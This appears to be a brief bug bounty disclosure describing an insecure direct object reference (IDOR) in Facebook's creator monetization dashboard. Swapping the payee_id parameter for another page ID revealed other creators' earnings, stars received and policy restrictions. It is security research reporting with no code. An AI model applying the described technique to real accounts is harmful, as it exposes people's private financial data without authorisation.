Unauthorized access to Facebook creator’s professional dashboard

Just after returning home from Bounty Con Singapore, I had to fly India in Mid-Oct 2022 for some family reasons. While staying there, my personal Facebook account had met the eligibility criteria of country location for the star monetization.

On the midnight of 30th Oct, 2022, I applied to star monetization for my personal Facebook account in order to explore the monetization section of the professional dashboard. Just after 30 minutes of exploring star monetization, I was able to view any Facebook creator’s estimated earnings, total stars received and earnings restriction due to violation of monetization policies.

where, the parameter payee_id=pageID was vulnerable to IDOR which discloses the estimated earnings, total stars received and earnings restriction of other Facebook creators.
